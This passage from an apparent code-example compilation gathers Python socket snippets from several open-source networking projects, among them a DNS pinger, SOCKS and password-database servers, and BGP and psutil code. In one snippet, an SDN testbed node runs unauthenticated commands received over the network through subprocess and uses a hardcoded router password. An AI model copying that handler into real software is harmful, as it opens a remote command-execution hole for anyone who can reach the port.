        self.assertResultIsCFRetained(CFWriteStreamCopyError)
        status = CFReadStreamGetStatus(readStream)
        self.assertIsInstance(status, (int, long))
        self.assertEqual(status, kCFStreamStatusNotOpen)

        status = CFWriteStreamGetStatus(writeStream)
        self.assertIsInstance(status, (int, long))
        self.assertEqual(status, kCFStreamStatusNotOpen)

Example 10

Project: dnsdiag Source File: dnsping.py
def main():
    try:
        signal.signal(signal.SIGTSTP, signal.SIG_IGN)  # ignore CTRL+Z
        signal.signal(signal.SIGINT, signal_handler)  # custom CTRL+C handler
    except AttributeError:  # OS Does not support some signals, probably windows
        pass

    if len(sys.argv) == 1:
        usage()

    # defaults
    dnsrecord = 'A'
    count = 10
    timeout = 2
    interval = 0
    quiet = False
    verbose = False
    dnsserver = dns.resolver.get_default_resolver().nameservers[0]
    dst_port = 53
    src_port = 0
    src_ip = None
    use_tcp = False
    use_edns = True
    af = socket.AF_INET
    hostname = 'wikipedia.org'

    try:
        opts, args = getopt.getopt(sys.argv[1:], "qhc:s:t:w:i:vp:P:S:T46e",
                                   ["help", "count=", "server=", "quiet", "type=", "wait=", "interval=", "verbose",
                                    "port=", "srcip=", "tcp", "ipv4", "ipv6", "srcport=", "edns"])
    except getopt.GetoptError as err:
        # print help information and exit:
        print(err)  # will print something like "option -a not recognized"
        usage()

    if args and len(args) == 1:
        hostname = args[0]
    else:
        usage()

    for o, a in opts:
        if o in ("-h", "--help"):
            usage()
        elif o in ("-c", "--count"):
            count = int(a)
        elif o in ("-v", "--verbose"):
            verbose = True
        elif o in ("-s", "--server"):
            dnsserver = a
        elif o in ("-p", "--port"):
            dst_port = int(a)
        elif o in ("-q", "--quiet"):
            quiet = True
            verbose = False
        elif o in ("-w", "--wait"):
            timeout = int(a)
        elif o in ("-i", "--interval"):
            interval = int(a)
        elif o in ("-t", "--type"):
            dnsrecord = a
        elif o in ("-T", "--tcp"):
            use_tcp = True
        elif o in ("-4", "--ipv4"):
            af = socket.AF_INET
        elif o in ("-6", "--ipv6"):
            af = socket.AF_INET6
        elif o in ("-e", "--edns"):
            use_edns = False
        elif o in ("-P", "--srcport"):
            src_port = int(a)
            if src_port < 1024:
                print("WARNING: Source ports below 1024 are only available to superuser")
        elif o in ("-S", "--srcip"):
            src_ip = a
        else:
            usage()

    # check if we have a valid dns server address
    try:
        ipaddress.ip_address(dnsserver)
    except ValueError:  # so it is not a valid IPv4 or IPv6 address, so try to resolve host name
        try:
            dnsserver = socket.getaddrinfo(dnsserver, port=None, family=af)[1][4][0]
        except OSError:
            print('Error: cannot resolve hostname:', dnsserver)
            sys.exit(1)

    resolver = dns.resolver.Resolver()
    resolver.nameservers = [dnsserver]
    resolver.timeout = timeout
    resolver.lifetime = timeout
    resolver.port = dst_port
    resolver.retry_servfail = 0

    if use_edns:
        resolver.use_edns(edns=0, payload=8192, ednsflags=dns.flags.edns_from_text('DO'))

    response_time = []
    i = 0

    print("%s DNS: %s:%d, hostname: %s, rdatatype: %s" % (__PROGNAME__, dnsserver, dst_port, hostname, dnsrecord))

    for i in range(count):
        if shutdown:
            break
        try:
            stime = time.time()
            answers = resolver.query(hostname, dnsrecord, source_port=src_port, source=src_ip, tcp=use_tcp,
                                     raise_on_no_answer=False)
            etime = time.time()
        except dns.resolver.NoNameservers as e:
            if not quiet:
                print("No response to dns request")
                if verbose:
                    print("error:", e)
            sys.exit(1)
        except dns.resolver.NXDOMAIN as e:
            if not quiet:
                print("Hostname does not exist")
            if verbose:
                print("Error:", e)
            sys.exit(1)
        except dns.resolver.Timeout:
            if not quiet:
                print("Request timeout")
            pass
        except dns.resolver.NoAnswer:
            if not quiet:
                print("No answer")
            pass
        else:
            elapsed = (etime - stime) * 1000  # convert to milliseconds
            response_time.append(elapsed)
            if not quiet:
                print(
                    "%d bytes from %s: seq=%-3d time=%3.3f ms" % (
                        len(str(answers.rrset)), dnsserver, i, elapsed))
            if verbose:
                print(answers.rrset)
                print("flags:", dns.flags.to_text(answers.response.flags))

            time_to_next = (stime + interval) - etime
            if time_to_next > 0:
                time.sleep(time_to_next)

    r_sent = i + 1
    r_received = len(response_time)
    r_lost = r_sent - r_received
    r_lost_percent = (100 * r_lost) / r_sent
    if response_time:
        r_min = min(response_time)
        r_max = max(response_time)
        r_avg = sum(response_time) / r_received
        if len(response_time) > 1:
            r_stddev = stdev(response_time)
        else:
            r_stddev = 0
    else:
        r_min = 0
        r_max = 0
        r_avg = 0
        r_stddev = 0

    print('\n--- %s dnsping statistics ---' % dnsserver)
    print('%d requests transmitted, %d responses received, %3.0f%% lost' % (r_sent, r_received, r_lost_percent))
    print('min=%3.3f ms, avg=%3.3f ms, max=%3.3f ms, stddev=%3.3f ms' % (r_min, r_avg, r_max, r_stddev))

Example 11

Project: b2bua Source File: Rtp_proxy_client.py
    def __init__(self, global_config, *address, **kwargs):
        #print 'Rtp_proxy_client', address
        no_version_check = False
        if kwargs.has_key('no_version_check'):
            no_version_check = kwargs['no_version_check']
            del kwargs['no_version_check']
        if len(address) == 0 and kwargs.has_key('spath'):
            a = kwargs['spath']
            del kwargs['spath']
            if a.startswith('udp:'):
                a = a.split(':', 2)
                if len(a) == 2:
                    rtppa = (a[1], 22222)
                else:
                    rtppa = (a[1], int(a[2]))
                self.proxy_address = rtppa[0]
                kwargs['family'] = socket.AF_INET
                self.rtpp_class = Rtp_proxy_client_udp
            elif a.startswith('udp6:'):
                proto, a = a.split(':', 1)
                if not a.endswith(']'):
                    a = a.rsplit(':', 1)
                    if len(a) == 1:
                        rtp_proxy_host, rtp_proxy_port = a[0], 22222
                    else:
                        rtp_proxy_host, rtp_proxy_port = (a[0], int(a[1]))
                else:
                    rtp_proxy_host, rtp_proxy_port = a, 22222
                if not rtp_proxy_host.startswith('['):
                    rtp_proxy_host = '[%s]' % rtp_proxy_host
                rtppa = (rtp_proxy_host, rtp_proxy_port)
                self.proxy_address = rtppa[0]
                kwargs['family'] = socket.AF_INET6
                self.rtpp_class = Rtp_proxy_client_udp
            elif a.startswith('tcp:'):
                a = a.split(':', 2)
                if len(a) == 2:
                    rtppa = (a[1], 22222)
                else:
                    rtppa = (a[1], int(a[2]))
                self.proxy_address = rtppa[0]
                kwargs['family'] = socket.AF_INET
                self.rtpp_class = Rtp_proxy_client_stream
            elif a.startswith('tcp6:'):
                proto, a = a.split(':', 1)
                if not a.endswith(']'):
                    a = a.rsplit(':', 1)
                    if len(a) == 1:
                        rtp_proxy_host, rtp_proxy_port = a[0], 22222
                    else:
                        rtp_proxy_host, rtp_proxy_port = (a[0], int(a[1]))
                else:
                    rtp_proxy_host, rtp_proxy_port = a, 22222
                if not rtp_proxy_host.startswith('['):
                    rtp_proxy_host = '[%s]' % rtp_proxy_host
                rtppa = (rtp_proxy_host, rtp_proxy_port)
                self.proxy_address = rtppa[0]
                kwargs['family'] = socket.AF_INET6
                self.rtpp_class = Rtp_proxy_client_stream
            else:
                if a.startswith('unix:'):
                    rtppa = a[5:]
                elif a.startswith('cunix:'):
                    rtppa = a[6:]
                else:
                    rtppa = a
                self.proxy_address = global_config['_sip_address']
                kwargs['family'] = socket.AF_UNIX
                self.rtpp_class = Rtp_proxy_client_stream
            self.rtpp_class.__init__(self, global_config, rtppa, **kwargs)
        elif len(address) > 0 and type(address[0]) in (tuple, list):
            self.rtpp_class = Rtp_proxy_client_udp
            self.proxy_address = address[0][0]
            Rtp_proxy_client_udp.__init__(self, global_config, *address, \
              **kwargs)
        else:
            self.rtpp_class = Rtp_proxy_client_stream
            self.proxy_address = global_config['_sip_address']
            Rtp_proxy_client_stream.__init__(self, global_config, *address, \
              **kwargs)
        if not no_version_check:
            self.version_check()
        else:
            self.caps_done = True
            self.online = True

Example 12

Project: keepassc Source File: server.py
    def __init__(self, pidfile, loglevel, logfile, address = None,
                 port = 50002, db = None, password = None, keyfile = None,
                 tls = False, tls_dir = None, tls_port = 50003, 
                 tls_req = False):
        Daemon.__init__(self, pidfile)

        try:
            logdir = realpath(expanduser(getenv('XDG_DATA_HOME')))
        except:
            logdir = realpath(expanduser('~/.local/share'))
        finally:
            logfile = join(logdir, 'keepassc', logfile)

        logging.basicConfig(format='[%(levelname)s] in %(filename)s:'
                                   '%(funcName)s at %(asctime)s\n%(message)s',
                            level=loglevel, filename=logfile,
                            filemode='a')

        if db is None:
            print('Need a database path')
            sys.exit(1)
            
        self.db_path = realpath(expanduser(db))

        # To use this idiom only once, I store the keyfile path
        # as a class attribute
        if keyfile is not None:
            keyfile = realpath(expanduser(keyfile))
        else:
            keyfile = None

        chdir("/var/empty")

        try:
            self.db = KPDBv1(self.db_path, password, keyfile)
            self.db.load()
        except KPError as err:
            print(err)
            logging.error(err.__str__())
            sys.exit(1)

        self.lookup = {
            b'FIND': self.find,
            b'GET': self.send_db,
            b'CHANGESECRET': self.change_password,
            b'NEWG': self.create_group,
            b'NEWE': self.create_entry,
            b'DELG': self.delete_group,
            b'DELE': self.delete_entry,
            b'MOVG': self.move_group,
            b'MOVE': self.move_entry,
            b'TITG': self.set_g_title,
            b'TITE': self.set_e_title,
            b'USER': self.set_e_user,
            b'URL': self.set_e_url,
            b'COMM': self.set_e_comment,
            b'PASS': self.set_e_pass,
            b'DATE': self.set_e_exp}

        self.sock = None
        self.net_sock = None
        self.tls_sock = None
        self.tls_req = tls_req
        
        if tls is True or tls_req is True:
            self.context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
            cert = join(tls_dir, "servercert.pem")
            key = join(tls_dir, "serverkey.pem")
            self.context.load_cert_chain(certfile=cert, keyfile=key)
        else:
            self.context = None

        try:
            # Listen for commands
            self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.sock.bind(("localhost", 50000))
            self.sock.listen(5)
        except OSError as err:
            print(err)
            logging.error(err.__str__())
            sys.exit(1)
        else:
            logging.info('Server socket created on localhost:50000')

        if self.tls_req is False and address is not None:
            try:
                # Listen for commands
                self.net_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                self.net_sock.bind((address, port))
                self.net_sock.listen(5)
            except OSError as err:
                print(err)
                logging.error(err.__str__())
                sys.exit(1)
            else:
                logging.info('Server socket created on '+address+':'+
                             str(port))

        if self.context is not None and address is not None:
            try:
                # Listen for commands
                self.tls_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                self.tls_sock.bind((address, tls_port))
                self.tls_sock.listen(5)
            except OSError as err:
                print(err)
                logging.error(err.__str__())
                sys.exit(1)
            else:
                logging.info('TLS-Server socket created on '+address+':'+
                             str(tls_port))


        #Handle SIGTERM
        signal.signal(signal.SIGTERM, self.handle_sigterm)

Example 13

Project: asn1crypto Source File: _inet.py
Function: inet_pton
def inet_pton(address_family, ip_string):
    """
    Windows compatiblity shim for socket.inet_ntop().

    :param address_family:
        socket.AF_INET for IPv4 or socket.AF_INET6 for IPv6

    :param ip_string:
        A unicode string of an IP address

    :return:
        A byte string of the network form of the IP address
    """

    if address_family not in set([socket.AF_INET, socket.AF_INET6]):
        raise ValueError(unwrap(
            '''
            address_family must be socket.AF_INET (%s) or socket.AF_INET6 (%s),
            not %s
            ''',
            repr(socket.AF_INET),
            repr(socket.AF_INET6),
            repr(address_family)
        ))

    if not isinstance(ip_string, str_cls):
        raise TypeError(unwrap(
            '''
            ip_string must be a unicode string, not %s
            ''',
            type_name(ip_string)
        ))

    if address_family == socket.AF_INET:
        octets = ip_string.split('.')
        error = len(octets) != 4
        if not error:
            ints = []
            for o in octets:
                o = int(o)
                if o > 255 or o < 0:
                    error = True
                    break
                ints.append(o)

        if error:
            raise ValueError(unwrap(
                '''
                ip_string must be a dotted string with four integers in the
                range of 0 to 255, got %s
                ''',
                repr(ip_string)
            ))

        return struct.pack(b'!BBBB', *ints)

    error = False
    omitted = ip_string.count('::')
    if omitted > 1:
        error = True
    elif omitted == 0:
        octets = ip_string.split(':')
        error = len(octets) != 8
    else:
        begin, end = ip_string.split('::')
        begin_octets = begin.split(':')
        end_octets = end.split(':')
        missing = 8 - len(begin_octets) - len(end_octets)
        octets = begin_octets + (['0'] * missing) + end_octets

    if not error:
        ints = []
        for o in octets:
            o = int(o, 16)
            if o > 65535 or o < 0:
                error = True
                break
            ints.append(o)

        return struct.pack(b'!HHHHHHHH', *ints)

    raise ValueError(unwrap(
        '''
        ip_string must be a valid ipv6 string, got %s
        ''',
        repr(ip_string)
    ))

Example 14

Project: iSDX Source File: tnode.py
def cmd_thread(conn):
    global generation
    data = conn.recv(1024)
    
    if len(data) == 0:
        conn.sendall(host + ':XX ERROR: No data\n')
        conn.close()
        return;
    
    tokens = data.split()
    tokens = shlex.split(data)
    n = len(tokens)
    if n == 0:
        conn.sendall(host + ':XX ERROR: Null data\n')
        conn.close()
        return;
    
    cmd = tokens[0]
    
    if cmd == 'quit':
        conn.sendall(host + ':XX OK: EXITING\n')
        conn.close()
        os._exit(1)

    if cmd == 'dump' and n == 1:
        while not outq.empty():
            conn.sendall(outq.get())
        conn.close()
        return;
    
    if cmd == 'exec':
        tokens.pop(0)
        try:
            p = subprocess.Popen(tokens, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            out, err = p.communicate()
        except:
            out = 'Command Failed\n'
            err = ''
        conn.sendall(out)
        conn.sendall(err)
        # DEBUG conn.sendall(str(tokens))
        conn.close()
        return
    
    if cmd == 'listener' and n == 3:
        addr = tokens[1]
        port = tokens[2]
        r = create_listener(addr, int(port))
        if len(r) > 0:
            conn.sendall(host +':00' + ' ' + r + '\n')
        conn.close()
        return;
    
    if cmd == 'test' and n == 5:
        rand = tokens[1]
        baddr = tokens[2]
        daddr = tokens[3]
        dport = tokens[4]
        
        m = rand + ' bind:' + baddr + ' dst:' + daddr + ':' + str(dport)
    
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.bind((baddr, 0))
            s.settimeout(connection_timeout)
            s.connect((daddr, int(dport)))
            s.sendall(rand) #must be 10 characters
            for _ in range(2000):
                s.sendall(buf)
            s.shutdown(1)
            #time.sleep(1)  # seems to be needed on windows or we get a violent server exception
            s.close()
        except Exception, e:
            conn.sendall(host + ':XX ERROR: ' + 'TEST ' + m + ' ' + repr(e) + '\n')
            conn.close()
            return
        
        conn.sendall(host + ':XX OK: ' + 'TEST ' + m + ' TRANSFER COMPLETE\n')     
        conn.close()
        return;
    
    if cmd == 'result' and n == 2:
        rid = tokens[1]
        lock.acquire()
        c = completed.get(rid)
        p = pending.get(rid)
        if c is None and p is None:
            lock.release()
            msg = host + ':00 UNKNOWN ' + rid + '\n'
        elif p is not None:
            lock.release()
            msg = p
        else:
            completed.pop(rid)
            lock.release()
            msg = c
        conn.sendall(msg)
        conn.close()
        return
    
    if cmd == 'reset':
        generation += 1
        conn.sendall(host + ':XX OK: ' + 'RESET new generation = ' + str(generation) + '\n')     
        conn.close()
        return;
    
    if cmd == 'result' and n == 1:
        lock.acquire()
        c = copy.copy(completed)
        p = copy.copy(pending)
        lock.release()
        for i in c:
            conn.sendall(c[i])
        for i in p:
            conn.sendall(p[i])
        conn.close()
        return
    
    if cmd == 'announce' or cmd == 'withdraw' and n > 1:
        if cmd == 'withdraw':
            no = 'no '
        else:
            no = ''
        
        try:
            # first find the BGP ASN
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect(('127.0.0.1', 2605))
            s.sendall('sdnip\nenable\nshow ip bgp summary\nquit\nquit\nquit\n')
            data = ''
            while True:
                chunk = s.recv(4096)
                if chunk is None or len(chunk) == 0:
                    break
                data += chunk
            s.close()            
            asn = 'UNKNOWN'
            for l in data.split('\n'):
                if 'local AS number' in l:
                    asn = l.split()[-1]
                    break
            #conn.sendall('\ncuem*   ' + asn + '   *****\n')
                   
            # now send the command to announce the route
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect(('127.0.0.1', 2605))
            nets = 'sdnip\n'  # password in sdnip.py
            nets += 'enable\n'  # reach privileged bgp commands
            nets += 'configure terminal\n' # beginning of config
            nets += 'router bgp ' + asn + '\n' # bgp config
            for i in range(1, n):
                nets += no + 'network ' + tokens[i] + '\n' # "no" for withdraw
            nets += 'quit\nquit\nquit\n' # unwind the commands (or connection won't terminate
            s.sendall(nets)
            
            while True:
                data = s.recv(4096)
                if data is None or len(data) == 0:
                    break
                conn.sendall(data)
            s.close()
            conn.close()
        except Exception, e:
            conn.sendall(host + ':XX ERROR: ' + 'ANNOUNCE/WITHDRAW ' + repr(e) + '\n')
            conn.close()
            return
        return
    
    if cmd == 'bgp' and n == 1:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect(('127.0.0.1', 2605))
            seq = 'sdnip\n'  # password in sdnip.py
            seq += 'enable\n'  # reach privileged bgp commands
            seq += 'show ip bgp\n' # dump bgp routes
            seq += 'quit\nquit\n' # unwind the commands (or connection won't terminate
            s.sendall(seq)
            
            while True:
                data = s.recv(4096)
                if data is None or len(data) == 0:
                    break
                conn.sendall(data)
            s.close()
            conn.close()
        except Exception, e:
            conn.sendall(host + ':XX ERROR: ' + 'BGP ' + repr(e) + '\n')
            conn.close()
            return
        return
    
    if cmd == 'router':
        del tokens[0]
        all = ""
        for arg in tokens:
            all += arg + ' '
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect(('127.0.0.1', 2605))
            seq = 'sdnip\n'  # password in sdnip.py
            seq += 'enable\n'  # reach privileged bgp commands
            seq += all + '\n' 
            seq += 'quit\nquit\n' # unwind the commands (or connection won't terminate
            s.sendall(seq)
            
            while True:
                data = s.recv(4096)
                if data is None or len(data) == 0:
                    break
                conn.sendall(data)
            s.close()
            conn.close()
        except Exception, e:
            conn.sendall(host + ':XX ERROR: ' + 'ROUTER ' + repr(e) + '\n')
            conn.close()
            return
        return
    
    if cmd == 'echo':
        del tokens[0]
        all = ""
        for arg in tokens:
            all += "<" + arg + "> "
        conn.sendall(all + '\n')
        conn.close()
    
    conn.sendall(host + ':XX ERROR: Bad command: ' + data)
    conn.close()

Example 15

Project: ptproxy Source File: socksserver.py
    def handle_socks(self, reader, writer):
        version, authnum = yield from reader.read(2)
        if version != 0x05:
            writer.close()
            return
        methods = yield from reader.read(authnum)
        if self.username and 0x02 in methods:
            # Username/password
            writer.write(b'\x05\x02')
            version, ulen = yield from reader.read(2)
            username = yield from reader.read(ulen)
            ulen = (yield from reader.read(1))[0]
            password = yield from reader.read(ulen)
            if version == 0x01 and (
                username == self.username and password == self.password):
                writer.write(b'\x01\x00')
            else:
                writer.write(b'\x01\xFF')
                writer.close()
                return
        elif self.username is None and 0x00 in methods:
            # No authentication
            writer.write(b'\x05\x00')
        else:
            writer.write(b'\x05\xFF')
            writer.close()
            return

        version, command, reserved, addrtype = yield from reader.read(4)
        if version != 0x05:
            writer.close()
            return
        if addrtype == 0x01:
            host = yield from reader.read(4)
            hostname = socket.inet_ntop(socket.AF_INET, host)
        elif addrtype == 0x03:
            length = (yield from reader.read(1))[0]
            hostname = (yield from reader.read(length)).decode('utf-8')
        elif addrtype == 0x04:
            host = yield from reader.read(16)
            hostname = socket.inet_ntop(socket.AF_INET6, host)
        port = struct.unpack('!H', (yield from reader.read(2)))[0]

        sockname = writer.get_extra_info('sockname')
        # a (address, port) 2-tuple for AF_INET,
        # a (address, port, flow info, scope id) 4-tuple for AF_INET6
        if len(sockname) == 2:
            bndinfo = b'\x01' + socket.inet_pton(socket.AF_INET, sockname[0])
        else:
            bndinfo = b'\x04' + socket.inet_pton(socket.AF_INET6, sockname[0])
        bndinfo += struct.pack('!H', sockname[1])
        if command == 0x01:
            writer.write(b'\x05\x00\x00' + bndinfo)
        else:
            writer.write(b'\x05\x07\x00' + bndinfo)
            writer.close()
            return

        r_reader, r_writer = yield from asyncio.open_connection(hostname, port)
        asyncio.async(proxy_data(reader, r_writer), loop=self.loop)
        asyncio.async(proxy_data(r_reader, writer), loop=self.loop)

Example 16

Project: psutil Source File: test_system.py
    def test_net_if_addrs(self):
        nics = psutil.net_if_addrs()
        assert nics, nics

        nic_stats = psutil.net_if_stats()

        # Not reliable on all platforms (net_if_addrs() reports more
        # interfaces).
        # self.assertEqual(sorted(nics.keys()),
        #                  sorted(psutil.net_io_counters(pernic=True).keys()))

        families = set([socket.AF_INET, AF_INET6, psutil.AF_LINK])
        for nic, addrs in nics.items():
            self.assertEqual(len(set(addrs)), len(addrs))
            for addr in addrs:
                self.assertIsInstance(addr.family, int)
                self.assertIsInstance(addr.address, str)
                self.assertIsInstance(addr.netmask, (str, type(None)))
                self.assertIsInstance(addr.broadcast, (str, type(None)))
                self.assertIn(addr.family, families)
                if sys.version_info >= (3, 4):
                    self.assertIsInstance(addr.family, enum.IntEnum)
                if nic_stats[nic].isup:
                    # Do not test binding to addresses of interfaces
                    # that are down
                    if addr.family == socket.AF_INET:
                        s = socket.socket(addr.family)
                        with contextlib.closing(s):
                            s.bind((addr.address, 0))
                    elif addr.family == socket.AF_INET6:
                        info = socket.getaddrinfo(
                            addr.address, 0, socket.AF_INET6,
                            socket.SOCK_STREAM, 0, socket.AI_PASSIVE)[0]
                        af, socktype, proto, canonname, sa = info
                        s = socket.socket(af, socktype, proto)
                        with contextlib.closing(s):
                            s.bind(sa)
                for ip in (addr.address, addr.netmask, addr.broadcast,
                           addr.ptp):
                    if ip is not None:
                        # TODO: skip AF_INET6 for now because I get:
                        # AddressValueError: Only hex digits permitted in
                        # u'c6f3%lxcbr0' in u'fe80::c8e0:fff:fe54:c6f3%lxcbr0'
                        if addr.family != AF_INET6:
                            check_net_address(ip, addr.family)
                # broadcast and ptp addresses are mutually exclusive
                if addr.broadcast:
                    self.assertIsNone(addr.ptp)
                elif addr.ptp:
                    self.assertIsNone(addr.broadcast)

        if BSD or OSX or SUNOS:
            if hasattr(socket, "AF_LINK"):
                self.assertEqual(psutil.AF_LINK, socket.AF_LINK)
        elif LINUX:
            self.assertEqual(psutil.AF_LINK, socket.AF_PACKET)
        elif WINDOWS:
            self.assertEqual(psutil.AF_LINK, -1)

Example 17

Project: socorro Source File: test_sb_server.py
def helper():
    """Runs a self-test using TestPOP3Server, a minimal POP3 server
    that serves the example emails above.
    """
    # Run a proxy and a test server in separate threads with separate
    # asyncore environments.
    import threading
    state.isTest = True
    testServerReady = threading.Event()
    def runTestServer():
        testSocketMap = {}
        Listener(socketMap=testSocketMap)
        testServerReady.set()
        asyncore.loop(map=testSocketMap)

    proxyReady = threading.Event()
    def runUIAndProxy():
        httpServer = UserInterfaceServer(8881)
        proxyUI = ProxyUserInterface(state, _recreateState)
        httpServer.register(proxyUI)
        BayesProxyListener('localhost', 8110, ('', 8111))
        state.bayes.learn(tokenizer.tokenize(spam1), True)
        state.bayes.learn(tokenizer.tokenize(good1), False)
        proxyReady.set()
        Dibbler.run()

    testServerThread = threading.Thread(target=runTestServer)
    testServerThread.setDaemon(True)
    testServerThread.start()
    testServerReady.wait()
    
    proxyThread = threading.Thread(target=runUIAndProxy)
    proxyThread.setDaemon(True)
    proxyThread.start()
    proxyReady.wait()

    # Connect to the proxy and the test server.
    proxy = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    proxy.connect(('localhost', 8111))
    response = proxy.recv(100)
    assert response == "+OK ready\r\n"
    pop3Server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    pop3Server.connect(('localhost', 8110))
    response = pop3Server.recv(100)
    assert response == "+OK ready\r\n"

    # Verify that the test server claims to support pipelining.
    pop3Server.send("capa\r\n")
    response = pop3Server.recv(1000)
    assert response.find("PIPELINING") >= 0

    # Ask for the capabilities via the proxy, and verify that the proxy
    # is filtering out the PIPELINING capability.
    proxy.send("capa\r\n")
    response = proxy.recv(1000)
    assert response.find("PIPELINING") == -1

    # Verify that the test server claims to support STLS.
    pop3Server.send("capa\r\n")
    response = pop3Server.recv(1000)
    assert response.find("STLS") >= 0

    # Ask for the capabilities via the proxy, and verify that the proxy
    # is filtering out the STLS capability.
    proxy.send("capa\r\n")
    response = proxy.recv(1000)
    assert response.find("STLS") == -1

    # Stat the mailbox to get the number of messages.
    proxy.send("stat\r\n")
    response = proxy.recv(100)
    count, totalSize = map(int, response.split()[1:3])
    assert count == 3

    # Loop through the messages ensuring that they have judgement
    # headers.
    for i in range(1, count+1):
        response = ""
        proxy.send("retr %d\r\n" % i)
        while response.find('\n.\r\n') == -1:
            response = response + proxy.recv(1000)
        assert response.find(options["Headers", "classification_header_name"]) >= 0

    # Check that the proxy times out when it should.  The consequence here
    # is that the first packet we receive from the proxy will contain a
    # partial message, so we assert for that.  At 100 characters per second
    # with a 1-second timeout, the message needs to be significantly longer
    # than 100 characters to ensure that the timeout fires, so we make sure
    # we use a message that's at least 200 characters long.
    assert len(spam1) >= 2 * (1/PER_CHAR_DELAY)
    options["pop3proxy", "retrieval_timeout"] = 1
    options["Headers", "include_evidence"] = False
    proxy.send("slow\r\n")
    response = proxy.recv(100)
    assert response.find("OK") != -1
    proxy.send("retr 1\r\n")
    response = proxy.recv(1000)
    assert len(response) < len(spam1)

    # Smoke-test the HTML UI.
    httpServer = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    httpServer.connect(('localhost', 8881))
    httpServer.sendall("get / HTTP/1.0\r\n\r\n")
    response = ''
    while 1:
        packet = httpServer.recv(1000)
        if not packet: break
        response += packet
    assert re.search(r"(?s)<html>.*SpamBayes proxy.*</html>", response)

    # Kill the proxy and the test server.
    proxy.sendall("kill\r\n")
    proxy.recv(100)
    pop3Server.sendall("kill\r\n")
    pop3Server.recv(100)

Example 18

Project: bagpipe-bgp Source File: connection.py
	def __init__ (self,peer,local,md5,ttl):
		self.io = None
		self.last_read = 0
		self.last_write = 0
		self.peer = peer
		self._loop_start = None

		self._buffer = []

		logger.wire("Opening connection to %s" % self.peer)

		if peer.afi != local.afi:
			raise Failure('The local IP and peer IP must be of the same family (both IPv4 or both IPv6)')

		try:
			if peer.afi == AFI.ipv4:
				self.io = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)
			if peer.afi == AFI.ipv6:
				self.io = socket.socket(socket.AF_INET6, socket.SOCK_STREAM, socket.IPPROTO_TCP)
			try:
				self.io.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
			except AttributeError:
				pass
			try:
				self.io.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)
			except AttributeError:
				pass
			try:
				# diable Nagle's algorithm (no grouping of packets)
				self.io.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
			except AttributeError:
				logger.warning("wire","Could not disable nagle's algorithm for %s" % self.peer)
				pass
			self.io.settimeout(1)
			if peer.afi == AFI.ipv4:
				self.io.bind((local.ip,0))
			if peer.afi == AFI.ipv6:
				self.io.bind((local.ip,0,0,0))
		except socket.error,e:
			self.close()
			raise Failure('Could not bind to local ip %s - %s' % (local.ip,str(e)))

		if md5:
			try:
				TCP_MD5SIG = 14
				TCP_MD5SIG_MAXKEYLEN = 80
				SS_PADSIZE = 120

				n_addr = socket.inet_aton(peer.ip)
				n_port = socket.htons(179)
				tcp_md5sig = 'HH4s%dx2xH4x%ds' % (SS_PADSIZE, TCP_MD5SIG_MAXKEYLEN)
				md5sig = struct.pack(tcp_md5sig, socket.AF_INET, n_port, n_addr, len(md5), md5)
				self.io.setsockopt(socket.IPPROTO_TCP, TCP_MD5SIG, md5sig)
			except socket.error,e:
				self.close()
				raise Failure('This OS does not support TCP_MD5SIG, you can not use MD5 : %s' % str(e))

		# None (ttl-security unset) or zero (maximum TTL) is the same thing
		if ttl:
			try:
				self.io.setsockopt(socket.IPPROTO_IP,socket.IP_TTL, 20)
			except socket.error,e:
				self.close()
				raise Failure('This OS does not support IP_TTL (ttl-security), you can not use MD5 : %s' % str(e))

		try:
			if peer.afi == AFI.ipv4:
				self.io.connect((peer.ip,179))
			if peer.afi == AFI.ipv6:
				self.io.connect((peer.ip,179,0,0))
			self.io.setblocking(0)
		except socket.error, e:
			self.close()
			raise Failure('Could not connect to peer: %s' % str(e))

		try:
			try:
				# Linux / Windows
				self.message_size = self.io.getsockopt(socket.SOL_SOCKET, socket.SO_MAX_MSG_SIZE)
			except AttributeError:
				# BSD
				self.message_size = self.io.getsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF)
		except socket.error, e:
			self.message_size = None

Example 19

Project: maltrail Source File: log.py
def log_event(event_tuple, packet=None, skip_write=False, skip_condensing=False):
    try:
        sec, usec, src_ip, src_port, dst_ip, dst_port, proto, trail_type, trail, info, reference = event_tuple
        if not any(check_whitelisted(_) for _ in (src_ip, dst_ip)):
            if not skip_write:
                localtime = "%s.%06d" % (time.strftime(TIME_FORMAT, time.localtime(int(sec))), usec)

                if not skip_condensing:
                    if (sec - getattr(_thread_data, "condensed_events_flush_sec", 0)) > CONDENSED_EVENTS_FLUSH_PERIOD:
                        _thread_data.condensed_events_flush_sec = sec

                        for key in getattr(_thread_data, "condensed_events", []):
                            condensed = False
                            events = _thread_data.condensed_events[key]

                            first_event = events[0]
                            condensed_event = [_ for _ in first_event]

                            for i in xrange(1, len(events)):
                                current_event = events[i]
                                for j in xrange(3, 7):  # src_port, dst_ip, dst_port, proto
                                    if current_event[j] != condensed_event[j]:
                                        condensed = True
                                        if not isinstance(condensed_event[j], set):
                                            condensed_event[j] = set((condensed_event[j],))
                                        condensed_event[j].add(current_event[j])

                            if condensed:
                                for i in xrange(len(condensed_event)):
                                    if isinstance(condensed_event[i], set):
                                        condensed_event[i] = ','.join(str(_) for _ in sorted(condensed_event[i]))

                            log_event(condensed_event, skip_condensing=True)

                        _thread_data.condensed_events = {}

                    if any(_ in info for _ in CONDENSE_ON_INFO_KEYWORDS):
                        if not hasattr(_thread_data, "condensed_events"):
                            _thread_data.condensed_events = {}
                        key = (src_ip, trail)
